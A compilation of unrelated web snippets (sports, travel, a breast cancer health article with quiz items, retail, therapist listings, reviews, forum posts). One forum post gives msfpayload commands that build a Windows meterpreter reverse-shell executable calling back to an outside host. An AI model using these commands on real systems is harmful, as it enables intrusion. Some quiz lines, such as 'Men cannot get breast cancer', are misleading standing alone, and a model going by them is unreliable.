Giraud said she wanted to stay close to home, but never thought she would have the opportunity to do so.
"Last year at this time, I wasn't expecting that I'd be playing college basketball the next year," she said. "But I worked really hard throughout the summer, and I guess it's just paid off."
The Spartans went 4-19 this season, but Giraud averaged more than 12 points a game.
"We feel like Schannel's got her best basketball ahead of her. She's a kid who was kind of on the radar for us because of her athleticism," Viterbo Women's Basketball Coach Bobbi Valdenberg said. "I think she's kind of a diamond in the rough here."


text:
Enter your voucher code here. The value will be automatically deducted from the total price. Only one voucher can be redeemed per booking.
Manage your austrian.com booking:
Change or manage your Austrian Airlines booking.
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Upgrade using the Web Check-in tool: Web check-in opens 47 hours prior to departure. Depending on the load factor, you will be offered a Smart Upgrade at the time of check-in.
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You can choose the amount you are willing to bid for your upgrade. The bid can be submitted online.Within the timeframe of 72 hours prior to departure, all bids are reviewed and potentially verified. Furthermore, you receive a notification whether or not your bid is accepted. In order for you to be able to bid, you must book an Economy Class Ticket for an OS flight that was issued on behalf of OS no later than 3 days prior to departure. Smart Upgrade is available on all scheduled flights.
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text:
Breast cancerCancer - breast; Carcinoma - ductal; Carcinoma - lobular; DCIS; LCIS; HER2-positive breast cancer; ER-positive breast cancer; Ductal carcinoma in situ; Lobular carcinoma in situ
Breast cancer is cancer that starts in the tissues of the breast. There are two main types of breast cancer:
- Ductal carcinoma starts in the tubes (ducts) that move milk from the breast to the nipple. Most breast cancers are of this type.
- Lobular carcinoma starts in the parts of the breast, called lobules,which produce milk.
In rare cases, breast cancer can start in other areas of the breast.
Breast cancer canbe invasive or noninvasive. Invasive means it has spread from the milk duct or lobule to other tissues in the breast. Noninvasive means it has not yet invaded other breast tissue. Noninvasive breast cancer is called "in situ."
- Ductal carcinoma in situ (DCIS), or intraductal carcinoma, is breast cancer in the lining of the milk ducts that has not yet invaded nearby tissues. It may progress to invasive cancer if untreated.
- Lobular carcinoma in situ (LCIS) is a marker for an increased risk of invasive cancer in the same or both breasts.
Many breast cancers are sensitive to the hormone estrogen. This means that estrogen causes the breast cancer tumor to grow. Such cancers have estrogen receptors on the surface of their cells. They are called estrogen receptor-positive cancer or ER-positive cancer.
Some women have HER2-positive breast cancer. HER2 refers to a gene that helps cells grow, divide, and repair themselves. When cells (including cancer cells) have too many copies of this gene, they grow faster. In the past, women with HER2-positive breast cancer have a more aggressive disease. They have a higher risk that the disease will return (recur) than in women who do not have this type. This may be changing with specifically targeted treatments against HER2.
The older you get, the greater your breast cancer risk.
Men cannot get breast cancer.
Your breast cancer risk is higher if you have a family history of:
Ovarian cancer
Colon cancer
Uterine cancer
Breast cancer
All of the above
Most women with breast cancer have a family history of the disease.
The BRCA gene plays a role in your lifetime breast cancer risk:
Your breast cancer risk is higher if you got your first period after age 13.
Having your first child before age 30:
Increases your breast cancer risk.
Decreases your breast cancer risk.
Has no impact on breast cancer risk.
Hormone therapy for menopause can raise your breast cancer risk.
Alcohol may raise your breast cancer risk if you have more than:
1 to 2 drinks a week
1 to 2 drinks a day
3 to 4 drinks a day
Putting on too much weight can raise your breast cancer risk.
Which is most likely to raise your breast cancer risk?
Underwire bras
Breast implants
None of the above
Which could be a sign of breast cancer?
Change in breast size or shape
Redness or dimpling of the breast
Fluid coming from the nipple
A firm lump in the breast or armpit
All of the above
Over the course of a lifetime, 1 in 8 women will be diagnosed with breast cancer.
Risk factors you cannot change include:
- Age and gender -- Your risk of developing breast cancer increases as you get older. Most advanced breast cancer cases are found in women over age 50. Men can slo get breast cancer. But they are 100 times less likely than women to get breast cancer.
- Family history of breast cancer -- You may also have a higher risk of breast cancer if you have a close relative who has had breast, uterine, ovarian, or colon cancer. About 20 - 30% of women with breast cancer have a family history of the disease.
- Genes -- Some people have genetic mutationsthat make them more likely to develop breast cancer. The most common gene defects are found in the BRCA1 and BRCA2 genes. These genes normally produce proteins that protect you from cancer. If a parent passes you a defective gene, you have an increased risk of breast cancer. Women with one of these defects have up to an 80% chance of getting breast cancer sometime during their life.
- Menstrual cycle -- Women who got their periods early (before age 12) or went through menopause late (after age 55) have an increased risk of breast cancer.
Other risk factors include:
- Alcohol use -- Drinking more than 1 - 2 glasses of alcohol a day may increase your risk of breast cancer.
- Childbirth -- Women who have never had children or who had them only after age 30 have an increased risk of breast cancer. Being pregnant more than once or becoming pregnant at an early age reduces your risk of breast cancer.
- DES -- Women who took diethylstilbestrol (DES) to prevent miscarriage may have an increased risk of breast cancer after age 40. This drug was given to the women in the 1940s - 1960s.
- Hormone replacement therapy (HRT) -- You have a higher risk of breast cancer if you have received hormone replacement therapy with estrogen for several years or more.
- Obesity -- Obesity has been linked to breast cancer, although this link is not completely understood. The theory is that obese women produce more estrogen. This can fuel the development of breast cancer.
- Radiation -- If you received radiation therapy as a child or young adult to treat cancer of the chest area, you have a very high risk of developing breast cancer. The younger you started such radiation and the higher the dose, the higher your risk. This is especially true if the radiation was given during breast development.
Breast implants, using antiperspirants, and wearing underwire bras do not raise the risk of breast cancer. There is also no evidence of a direct link between breast cancer and pesticides.
Early breast cancer usually does not cause symptoms. This is why regular breast exams are important. As the cancer grows, symptoms may include:
- Breast lump or lump in the armpit that is hard, has uneven edges, and usually does not hurt
- Change in the size, shape, or feel of the breast or nipple -- for example, you may have redness, dimpling, or puckering that looks like the skin of an orange
- Fluid coming from the nipple -- may be bloody, clear to yellow, green, and look like pus
Men can get breast cancer, too. Symptoms include breast lump and breast pain and tenderness.
Symptoms of advanced breast cancer may include:
- Bone pain
- Breast pain or discomfort
- Skin ulcers
- Swelling ofin thearmpit (next to the breast with cancer)
- Weight loss
Exams and Tests
The doctor will ask you about your symptoms and risk factors. Then the doctor will perform a physical exam. The exam includes both breasts, armpits, and the neck and chest area.
Tests used to diagnose and monitor patients with breast cancer may include:
- Breast MRI to help better identify the breast lump or evaluate an abnormal change on a mammogram
- Breast ultrasound to show whether the lump is solid or fluid-filled
- Breast biopsy, using methods such as needle aspiration, ultrasound-guided, stereotactic, or open
- CT scan tocheck if the cancer has spread
- Mammography to screen for breast cancer or help identify the breast lump
- PET scan to check if the cancer has spread
- Sentinel lymph node biopsy tocheck if the cancer has spread to the lymph nodes
If your doctor learns that you do have breast cancer, more tests will be done. This istocheck if the cancer has spread. This is called staging. Staging helps guide future treatment and follow-up. It alsogives youan idea of what to expect in the future.
Breast cancer stages range from 0 to IV. The higher the staging number, the more advanced the cancer.
Treatment is based on many factors, including:
- Type and stage of the cancer
- Whether the cancer is sensitive to certain hormones
- Whether the cancer overproduces (overexpresses) a gene called HER2/neu
Cancer treatments may include:
- Chemotherapy medicines to kill cancer cells
- Radiation therapy to destroy cancerous tissue
- Surgery to remove cancerous tissue -- a lumpectomy removes the breast lump; mastectomy removes all or part of the breast and possible nearby structures
Hormone therapy is prescribed to women with ER-positive breast cancer to block certain hormones that fuel cancer growth.
- An example of hormonal therapy is the drug tamoxifen. This drug blocks the effects of estrogen. Estrogenallowsbreast cancer cells tosurvive and grow. Most women with estrogen-sensitive breast cancer benefit from this drug.
- Another class of hormone therapy medicines is called aromatase inhibitors.Medicines such as exemestane (Aromasin) work as well or even better than tamoxifen in postmenopausal women with breast cancer. Aromatase inhibitors block estrogen from being madein the body.
Targeted therapy isalso called biologic therapy. It uses special anticancer drugs that target certain changes in a cell that can lead to cancer. One such drug is trastuzumab (Herceptin). It may be used for women with HER2-positive breast cancer.
Cancer treatmentcan be local or systemic.
- Local treatments involve only the area of disease. Radiation and surgery are forms of local treatment.
- Systemic treatments affect the entire body. Chemotherapy is a type of systemic treatment.
Most women receive a combination of treatments. For women with stage I, II, or III breast cancer, the main goal is to treat the cancer and prevent it from returning (curing). For women with stage IV cancer, the goal is to improve symptoms and help them live longer. In most cases, stage IV breast cancer cannot be cured.
- Stage 0 and DCIS -- Lumpectomy plus radiation or mastectomy is the standard treatment. Doctors do not quite agree on how best to treat DCIS.
- Stage I and II -- Lumpectomy plus radiation or mastectomy with some sort of lymph node removal is the standard treatment. Hormone therapy, chemotherapy, and biologic therapy may also be recommendedafter surgery.
- Stage III -- Treatment involves surgery, possibly followed by chemotherapy, hormone therapy, and biologic therapy.
- Stage IV -- Treatment may involve surgery, radiation, chemotherapy, hormone therapy, or a combination of these treatments.
After treatment, some women will continue to take medicines such as tamoxifen for a time. All women will continue to have blood tests, mammograms, and other tests after treatment.
Women who have had a mastectomy may have reconstructive breast surgery. This will be doneeither at the time of mastectomy or later.
Support Groups
You can ease the stress of illness by joining acancer support group. Sharing with others who have common experiences and problems can help you not feel alone.
Outlook (Prognosis)
New, improved treatments are helping persons with breast cancer live longer. Even with treatment, though, breast cancer can spread to other parts of the body. Sometimes, cancer returns even after the entire tumorhas beenremoved and nearby lymph nodes are found to be cancer-free.
How well you do after being treated for breast cancer depends on many things. The more advanced your cancer, the poorer the outcome. Other factors used to determine the riskof recurrence and the likelihood of successful treatment include:
- Location of the tumor and how far it has spread
- Whether the tumor is hormone receptor-positive or -negative
- Tumor markers, such as HER2
- Gene expression
- Tumor size and shape
- Rate of cell division or how quickly the tumor is growing
After considering all of the above, your doctor can discuss your risk of having a recurrence of breast cancer.
Possible Complications
You may experience side effects or complications from cancer treatment. For example, radiation therapy may cause temporary swelling of the breast (lymphedema), and aches and pains around the area.
Lymphedema may start 6-8 weeks after surgery or after radiation treatment for cancer. It can also start slowly after cancer treatment is over. You may not notice symptoms until 18-24 months after treatment. Sometimes it can take years to develop.
Ask your doctor about the side effects you may have during treatment.
When to Contact a Medical Professional
Contact your health care provider if:
- You have a breast or armpit lump
- You have nipple discharge
Call your health care provider if you develop symptoms after being treated for breast cancer:
- Nipple discharge
- Rash on the breast
- New lumps in the breast
- Swelling in the area
- Pain, especially chest pain, abdominal pain, or bone pain
Tamoxifen is approved for breast cancer prevention in women aged 35 and older who are at high risk. Discuss this with your doctor.
Women at very high riskof breast cancer may consider preventive (prophylactic) mastectomy. This is surgery toremovethe breasts before breast cancer is ever diagnosed. Possible candidates include:
- Women who have already had one breast removed due to cancer
- Women with a strong family history of breast cancer
- Women with genes or genetic mutations that raise their risk of breast cancer (such as BRCA1 or BRCA2)
Your doctor may do a total mastectomy to reduce your risk of breast cancer. This may reduce, but does not eliminate the risk of breast cancer.
Many risk factors, such as your genes and family history, cannot be controlled.But making healthy lifestyle changes may reduce your overall chance of getting cancer. This includes eating health foods:
- Choose foods and portion sizes that promote a healthy weight
- Choose whole grains instead of refined grain products
- Eat more fruits and vegetables each day
- Limit processed and red meat in the diet
- Limit alcohol consumption to one drink per day (women at high riskof breast cancer should not drinking alcohol at all)
Chalasani P, Downey L, Stopeck AT. Caring for the breast cancer survivor: a guide for primary care physicians. Am J Med. 2010;123(6):489-95.
Chlebowski RT, Anderson GL, Gass M, et al. Estrogen plus progestin and breast cancer incidence and mortality in postmenopausal women. JAMA. 2010;304(15):1684-92.
Chlebowski RT, Kuller LH, Prentice RL, Stefanick ML, Manson JE, Gass M, et al. Breast cancer after use of estrogen plus progestin in postmenopausal women. N Engl J Med. 2009 Feb 5;360(6):573-87.
Cuzick J, DeCensi A, Arun B, et al. Preventive therapy for breast cancer: a consensus statement. Lancet Oncol. 2011;12(5):496-503.
Giuliano AE, Hunt KK, Ballman KV, et al. Axillary dissection vs no axillary dissection in women with invasive breast cancer and sentinel node metastasis: a randomized clinical trial. JAMA. 2011;305(6):569-75.
Goss PE, Ingle JN, Alés-Martínez JE, et al. Exemestane for breast-cancer prevention in postmenopausal women. N Engl J Med. 2011;364(25):2381-91.
Katz VL,Dotters D. Breast diseases: diagnosis and treatment of benign and malignantdisease.In: Lentz GM, Lobo RA,Gershenson DM, Katz VL, eds. Comprehensive Gynecology. 6th ed. Philadelphia, PA: Elsevier Mosby; 2012:chap 15.
LaCroix AZ, Chlebowski RT, Manson JE, et al. Health outcomes after stopping conjugated equine estrogens among postmenopausal women with prior hysterectomy: a randomized controlled trial. JAMA. 2011 Apr 6;305(13):1305-14.
National Comprehensive Cancer Network. NCCN Clinical Practice Guidelines in Oncology (NCCN Guidelines): Breast cancer. Version3.2012. Available at: http://www.nccn.org/professionals/physician_gls/pdf/breast.pdf.Accessed November 16, 2012.
Warner E. Clinical practice. Breast-cancer screening. N Engl J Med. 2011 Sep 15;365(11):1025-32.
Breast cancer
Female Breast - illustration
Female Breast
Needle biopsy of the breast - illustration
Needle biopsy of the bre...
Open biopsy of the breast - illustration
Open biopsy of the breas...
Breast self-exam - illustration
Breast self-exam
Breast self-exam - illustration
Breast self-exam
Breast self-exam - illustration
Breast self-exam
Sentinel node biopsy - illustration
Sentinel node biopsy
Lumpectomy - illustration
Breast lump removal - Se...
Mastectomy - Series
Female Breast - illustration
Female Breast
Needle biopsy of the breast - illustration
Needle biopsy of the bre...
Open biopsy of the breast - illustration
Open biopsy of the breas...
Breast self-exam - illustration
Breast self-exam
Breast self-exam - illustration
Breast self-exam
Breast self-exam - illustration
Breast self-exam
Sentinel node biopsy - illustration
Sentinel node biopsy
Lumpectomy - illustration
Breast lump removal - Se...
Mastectomy - Series
Review Date: 11/17/2012
Reviewed By: Yi-Bin Chen, MD, Leukemia/Bone Marrow Transplant Program, Massachusetts General Hospital. Also reviewed by A.D.A.M. Health Solutions, Ebix, Inc., Editorial Team: David Zieve, MD, MHA, David R. Eltz, Stephanie Slon, and Nissi Wang.


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Find the most popular routes to Koh Samui / Samui Island from a variety of other destinations. Can't find what you're looking for then use our free search service where you can compare cheap flights from all major airlines and travel agents.
© Skyscanner Ltd 2002-2017
We can show only Economy prices for this search.
For more cabin choices, first select specific cities and travel dates.
We make every effort to ensure the price you see on Skyscanner is the price you pay with the airline.
Prices on Skyscanner always include an estimate of all mandatory taxes and charges. The final price you pay for your tickets may vary as a result of additional options offered by the airline, such as luggage allowances or travel insurance.


text:
- Description
The Spanx Difference
Retro-inspired, comfortable corsetry minus the pulling and squeezing—Boostie-yay! This structured style offers sculpting power while comfortably contouring the silhouette in a chic new way—with bra cups!
Support Level
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- Care Instructions: Hand wash in warm water. Use only non-chlorine bleach when needed. Lay flat to dry. Do not iron.
- Imported
- Body: 70% Nylon, 30% Spandex/Elastane. Cups/Back/Sides: 80% Nylon, 20% Spandex/Elastane. Lining: 82% Nylon, 18% Spandex/Elastane. Exclusive of Trims.
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Contact the Transformation Team for advice! Let our team of SPANX specialists help you place an order or find the right product for you!
- Call 1.888.806.7311
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We want you to be fully satisfied with every item that you purchase from www.spanx.com! If you are not satisfied with an item that you have purchased, you may return the item within 30 days of delivery for a full refund of the purchase price, minus the shipping handling, gift wrap and other charges.
You may return a product purchased from www.spanx.com, in its original condition, by contacting us for further instructions. Please note the International Handling Fee is non-refundable for non-Canada shipments.
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We are unable to process exchanges at this time. Please contact us for details on returning your item and placing a new order.
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Thanks again for your purchase!


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As of September 1, 2013, it is illegal to cause or allow any rooted seagrass plant to be uprooted or dug out from the bay or saltwater bottom by a submerged propeller within the coastal waters of the state of Texas. Violation is a Class C Misdemeanor subject to a fine of up to $500.
Submerged seagrass meadows are a dominant, unique subtropical habitat in many Texas bays and estuaries. These marine plants play critical roles in the coastal environment, including nursery habitat for estuarine fisheries, a major source of organic biomass for coastal food webs, effective agents for stabilizing coastal erosion and sedimentation, and major biological agents in nutrient cycling and water quality processes.
- Redfish Bay State Scientific Area Seagrass Information
- FAQ About Seagrass Conservation and Regulations
- Conservation Plan
- Conservation Plan Review Workshop
- Monitoring Plan
- Seagrass Monitoring Workgroup
- Statewide Seagrass Viewer
- Boating and Seagrass Brochure | English
- Boating and Seagrass Brochure | Spanish
- Seagrass Coloring Activity


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The Awkward Moment
A rom-com told from the perspective of 20something year old men.
Great concept: a love story told from the other side. The testosterone-charged side. It's like "Sex And The City" from the guys' view. So yeah- you will o.d. on penis and bathroom jokes.
The guys in this bromance have great chemistry: Zac Efron (who also co-exec-produced) chose well with Miles Teller (who was the best thing in his debut film "Rabbit Hole", co-starring with Oscar winner Nicole Kidman and Aaaron Eckhart and was most recently seen in the sweet teen love story "The Spectacular Now" while making his comedic mark in "21 and Over") and Michael B. Jordan ,who makes his comedic debut and should have been Oscar-nominated for "Fruitvale Station. Already known for "The Wire" and "Friday Night Lights", he is at just the tip of what should be stellar career. Michael B. Jordan's got it all.
Efron's Jason and best bud Daniel (Teller) are living the 20something year old guy-dream. They have great day jobs and spend their nights in lower Manhattan clubs, hitting on young professional women. Michael B. Jordan's Mikey is a resident at a local hospital and thinks he's happily married til his wife leaves him for a lawyer. He hooks up with his old buddies, who all make a pact to stay single and not get emotionally involved with any of their hook-ups. Needless to say, they all fall for women as they lie to each other.
The women are well-cast: Imogen Poots, who was very memorable in the little-seen "A Late Quartet", nails the substance of the film with her take on a relationship: it's all about being there when it's difficult and you're needed. The unknown Mackenzie Davis is a standout and won't be unknown much longer. Jessica Lucas, as the cheating wife, had recurring roles on "CSI: Crime Scene Investigation" and the CW's "90210".
The most sympathetic guy on film is Jordan, who is the standout among the bromancers.
The premise of the film is better than the execution. There's too much clichéd Hollywoodese-talk. And it's pretty predictable. The funniest moments are spent with the barely seen Josh Pais as Jason and Daniel's boss. You may not know his name but you'll recognize him as the character actor who's made a career out of looking uncomfortable. He's underused here.
This is one great looking film, showcasing NYC neighborhoods including Soho and especially Gramercy Park. It's a love letter to lower Manhattan.
You could do worse for a Valentines Day date night.
2 Stars


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Tracy Schaperow, Psy.D.
Licensed Clinical Psychologist
567 Vauxhall St Extension, #207, Waterford, Connecticut 06320
Why seek psychotherapy? People from children to the elderly can highly benefit from deepening their insight. This insight can lead to new opportunities, including improved relations at work and in the home. With a decade of training, and over a decade of experience, I am able to help people get to know themselves at a deeper level to achieve decreased anxiety, depression, impulsivity, and more, as well as to deepen life fulfillment. Please contact me to set up an appointment so you can invest in yourself and realize these gains.
Samuel Schaperow, MSMFT, LMFT
Licensed Marriage and Family Therapist, Psychotherapist
567 Vauxhall St Extension, #207, New London co, Waterford, Connecticut 06385
As a psychotherapist I utilize numerous theories from Cognitive Behavioral Therapy (CBT), to family therapy, to psychodynamic theories. Hence, clients wishing to go deeper than general counseling, may do so with me. I typically begin with more behavioral therapy, then get into the deeper therapy as requested in order to resolve unhelpful patterns at the root for the longest lasting results.
Christopher Carlin, MSW, LCSW
Licensed Clinical Social Worker
415 Killingworth Road, Higganum, Connecticut 06441
This is the basis of all therapy. It is helping an Individual family or group by using a clinically trained professional to assist these person(s) Emotional disturbances happen at various times in our lives and we are usually unprepared for the fallout it has in our live. Working with an experienced clinician can many times help illuminate the issues and how to obtain some tools to deal with these emotional experiences
Kevin Fleming Ph.D.
Coach/Change Agent/Consultant
Springfield, Massachusetts 01106
James Hillman once said, "We've had a hundred years of psychotherapy and the world is getting worse." While there are many occasions where the validation and listening endemic to psychotherapy makes sense, there are times where we over assume that "feeling better" and "changing behavior" are the same. Grey Matters International, Inc. goes after the forgotten brain laws to behavior change that therapists miss when processing hours and hours of dialogues with people. Utilizing a cutting edge technology to facilitate the emotional process of change, we can make the therapy process way more effective, faster, and with less money spent. Contact firstname.lastname@example.com or 877-606-6161.
Adam Russo, MS, LPC, .
Licensed Professional Counselor
90 Main Street, Unit 106F, Centerbrook, Connecticut 06409
I truly believe that the best type of psychotherapy is the eclectic model. Eclectic simply means that I do not completely subscribe to one "modality" and see the enormous benefit most of the therapies have when it comes to interventions and insights. A therapist's client demographics frequently changes, shouldn't too the psychotherapists interventions?
Lori Carpenos, LMFT
Licensed Marriage Family Therapist and Life Coach
81 South Main Street, Suite 7, West Hartford, Connecticut 06107
My therapy approach is well suited to help you understand yourself and others better. I will guide you to exprience your own insights about the nature of thought and how your thinking contributes to your experience of life, moment by moment. I also provide a variety of resources for you so that you feel supported while you go through the process.
David Russell, Ph.D.
1001 Farmington Ave, Suite 304, West Hartford, Connecticut 06107
Hi, I'm Dr. Dave Russell. I am a psychologist who specializes in intensive psychotherapy and coaching focused on getting to the root and core of your problems. Instead of the traditional 45-minutes-once-a-week talk therapy model, we use 90-minute and 3-HOUR SESSIONS to help you achieve up to 3 months of therapy in each session. So even if you have been in regular talk therapy for months or years without getting to the core, you have an alternative. You need to know that - with the right help and some hard work - you can get rid of your emotional baggage so completely that you will not be able to get yourself upset about your worst memory, your most challenging situation or your most sensitiv
Helen Sheehan, M.Ed, MSW, LICSW
Licensed Independent Clinical Social Worker
33 College Hill Rd., Ste 30E, Warwick, Rhode Island 02886
Psychotherapy involves client and therapist having mutual respect for each other, and having the client feel valued, listened to, understood. The treatment approaches used will vary based on your need, and we probably will use several. I believe in dealilng with problems from several directions...some behavioral (things you will need to do), cognitive (looking at and thinkiing differently about things), emotionally (Internal Family Systems Therapy IFS), and educational (learning skills or information that will help you to achieve your goals. We may use self-hypnosis to reduce anxiety, to help with sleep, and for other purposes. If we use it, you are always in full control of yourself.
Donald A. Labonte, MA, MSW, LMHC, LCDP, NCAC II
Licensed Clinician
33 College Hill Rd., Warwick, Rhode Island 02886
As I see it, psychotherapy is a relationship of trust. It encourages a person to be themselves fully in a bond of trust in order to grow as a whole person. It is also a process wherein an individual can become more deeply aware of one's strengths as well as one's personal challenges. At its core is a relationship involving one person's faith in the other's intrinsic ability to face and deal with life's challenges.
Michael Hodosh, Psy.D, LMHC
Licensed Mental Health Counselor
70 Sharon Street, Providence, Rhode Island 02908
Hi there. I am a doctoral level therapist with extensive experience working with individuals with depression, anxiety, PTSD, self esteem issues, anger management concerns, addictions, and a variety of other problems. My style is active and eclectic and draws from a variety of approaches including cognitive-behavioral, psychodynamic, interpersonal, narrative, and family therapy approaches, Insightful, easy-to-talk-to, humorous, and non-judgmental.
Diane Petrella, MSW
Licensed Independent Clinical Social Worker
255 Hope Street, Providence, Rhode Island 02915
Psychotherapy can help you find the confidence you need to take charge of your life, release negative beliefs so you feel optimistic about your future, and uplift your mood when you feel stuck in sadness or anxiety. I take a holistic approach to what's troubling you, addressing the needs of your mind, body and spirit. I'm trained in a variety of models and together we'll find what works best for you. It takes courage to do this work. Congratulate yourself!
Todd Schmenk, M.S., M.Ed., LMHC
Licensed Mental Health Counselor
1 Richmond Square, Suite 103k, Providence, Rhode Island 02906
For a variety of challenges, Psychotherapy is a process which allows for the uncovering of answers that you already have. The back and forth conversation processes all the thoughts in your head, reflects them back and validates the ones that would serve you best given the details that you disclose. Session often include assessments to test an individual's theories about oneself and ultimately rules out several options leaving a clear understanding of the path that needs to be followed in order to achieved identified goals.


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I have been able to establish a reverse connection on a host outside the network. However when my WLAN IP changes I loose connection to the server.
I have tried using dns for the LHOST but not luck e.g.
msfpayload windows/meterpreter/reverse_tcp LHOST=myname.dns.com LPORT=8080 X >msffile.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=188.8.131.52 LPORT=8080 X >msffile.exe
How to I maintain access after the external ip used in my server changes.
Ps I have explored options like metsvc without success. Maybe I can encode the 2 files it creates | upload and execute ?
to use DNS hostnames, you need to use the payload
Perhaps you should do some more reading as I'm quite sure this is mentioned in more than one place on the forum. Also not good practice to include public IP addresses in your posts.Code:windows/meterpreter/reverse_tcp_dns


description: Like scaly sumo wrestlers, these male monitor lizards are squaring off over food and females. They might brawl for 45 minutes before a victor emerges.

is_us_only: false

title: World's Deadliest: Lizard vs. Lizard

allowUserEmbed: True

name: New Giant Lizard Discovery "an Unprecedented Surprise"

credit: National Geographic

transcript:
When out on the hunt in its tropical domain, the monitor lizard likes to fly solo.
His forked tongue helps him sniff out decaying fish, flesh...and females.
But when love is in the air, potential suitors come out of the woodwork.
And with this quick-tempered lizard, that means instant competition.
These scaly battles can last for up to 45 minutes.
This isn't a fight to the death, but rather a display of dominance and strength, a heavyweight sumo match with claws...where the loser gets pinned underwater.
The triumphant male gets the girl, but he better watch out.
Female monitors are just as ready to scrap-they'll fight their mates for food.
When it comes to survival amongst these lizards, there's no such thing as one big, happy family.


text: May 17 9:46 AM CT By Tim MacMahon | ESPNDallas.com GRAPEVINE, Texas – Linebacker Bruce Carter has heard one name over and over again since the Cowboys hired Monte Kiffin as defensive coordinator. "Everybody's just been hitting me with it – Derrick Brooks, Derrick Brooks," Carter said. "That's a good thing." Carter blossomed into a sideline-to-sideline force as an inside linebacker in Rob Ryan's 3-4 scheme last season before missing the final five games due to a dislocated elbow. Fully healthy again, Carter looks forward to flying around in Kiffin's 4-3 like Brooks used to do. As soon as he heard Kiffin was coming, Carter started studying film of Brooks' work from Tampa Bay's days of playing dominant defense. Read more: http://espn.go.com/blog/dallas/cowboys/post/_/id/4708848/can-bruce-carter-be-the-next-derrick-brooks


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PHOTO: Kim Kardashian shows off swimsuit body on yacht
Kim Kardashian seems to be enjoying Thailand.
The reality TV star, whose family is currently filming in the country, posted some swimsuit shots (and a video) to Instagram on Tuesday (see below).
Kardashian is seen posing on the deck of a yacht, enjoying the sunshine and gorgeous scenery, seemingly without a care in the world.
"Wish you were here," she writes.
We do, too.
Check out Kardashian's R&R shots below!


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Bookmark this site
LAKEWOOD, NJ -- The American Amusement Machine Association honored BMI Merchandise as its Supplier of the Year in an awards ceremony at the 2014 Amusement Expo in Las Vegas.
BMI Merchandise (Bonita Marie International) is a leading supplier of redemption and direct-pay products for "multi-tainment" locations, and the developer of a novel proprietary automated reorder system (ARS) for its clients.
PHOTO: BMI's Dave Katz (center) accepts Supplier of the Year honor presented by AAMA's Pete Gustafson (left) and John Schultz.
ARS is designed to optimize redemption-game revenue without excessive inventory by shipping the appropriate products when needed. The program offers on-site set-ups, digital planogram technology and dedicated website overview capabilities. ARS interfaces with customers' inventory scan systems to support customized just-in-time product rotations.
"Our company takes pride in featuring the latest merchandise and support logistics necessary to drive successful, contemporary redemption," said BMI founder and chief executive David Katz. "We also provide multiple prize options for every platform, with merchandise that's sized, priced and relevant to today's player. We genuinely appreciate AAMA's recognition."
As part of a longtime tradition, AAMA presents its annual awards during its springtime trade shows. In addition to the Supplier of the Year, AAMA also presented its Distributor of the Year and Manufacturer of the Year awards, which went to Brady Distributing Co. and TouchTunes, respectively. The association's prestigious Lifetime Achievement Award went to Betson's Rick Kirby.


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Give Where You Live This Holiday Season
Your staff at Clear Channel Media + Entertainment of Northern Colorado lives in Northern Colorado. That is why we are glad to serve the communities where we live.
All our stations have different giving opportunities this holiday season, and we want you to know what we are doing this holiday season so you may have your chance to give where YOU live.
KISS FM Presents KISSMas Wishes
Ends December 8, 2013
In it's 11th year, KISSMas Wishes collects goods for many agencies in Northern Colorado, who then distribute the goods to families in need throughout Northern Colorado.
To get a list of what is needed and where to drop off donations, visit kissmaswishes.com
Big Country Christmas Wish
Nominations End December 20, 2013
This year is the FIRST Annual Big Country Christmas Wish event. Their goal is to grant Christmas wishes to families in Northern Colorado and Southern Wyoming have a happy holiday season.
To contribute to the efforts, or to nominate a family in need, please visit bigchristmaswish.com.
Scott and Sadie's Quarter Million Can Crusade
Ends December 31, 2013
Scott & Sadie's Fourth Annual Quarter Million Can Crusade is collecting canned food for the Food Bank for Larimer County and Weld Food Bank. People can donate money or food to help stamp out hunger in Northern Colorado.
To contribute to the efforts, please visit bigcancrusade.com.
Bear Cares for Kids
Ends December 20, 2013
107.9 The Bear staff and listeners get to play Santa to a lot of kids in need this holiday season by collecting stuffed bears...and lots of them! Donate a new or gently used teddy bear at one of 12 First National Bank locations in Northern Colorado.
To contribute to the efforts, please visit 1079thebear.com/BearCares
107.9 The Bear and Colorado Eagles Teddy Bear Toss
December 14, 2013
107.9 The Bear, The Colorado Eagles, and Pederson Toyota invite you to take part in an historic night at the Budweiser Events Center on Saturday, December 14 for the first ever "Teddy Bear Toss."
To contribute to the efforts, please visit 1079thebear.com/TeddyBearToss


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This event will be held on Saturday 23rd of May 2009 in Colchester, Essex.
Competition fee is £20. See website for more details: www.reverseallgt.com
This event will be held on Saturday 23rd of May 2009 in Colchester, Essex.
Competition fee is £20. See website for more details: www.reverseallgt.com
Good luck tournament.
MMA RULES East Coast Fight Factory show dates 2014
7th June - 4th Oct - 15 Nov - Fighters Wanted
NEW ECFF WEB @ www.ecff.co.uk
We will put it on our events diary and I'll see if any of the guys want to enter. Website page is really well laid out.
Check out the free t-shirt you get!
Register on the site for the comp before monday18th, and receive your free RAGT vol1 t-shirt!
I'm not competeing which is a shame as I've love one of the t-shirts. One for the spectators or corners prehaps LOL!!
Have to add that I think the website is fantastically well put together,looks the mutts nutts.
So if a reversal is considered a sweep,and you get 4 points for a sweep and 2 points for attaining mount,the guy who achieves mount receives less points than the guy who escapes it?
eeerrrrrrr yeah, the rules are under review by an ADCC ref.
il have em sorted asap, it will be a fair points based contest with deductions for stalling.
We have registered 3 guys for the comp. How many are you expecting to attend do you think?
The free entry for the ladies would have been a great incentive but they are busy this weekend. Good way to get a few more girls competing though.
Hopefully have some women enter next time?
50 -60(maybe more?) depends on how many turn up on the day?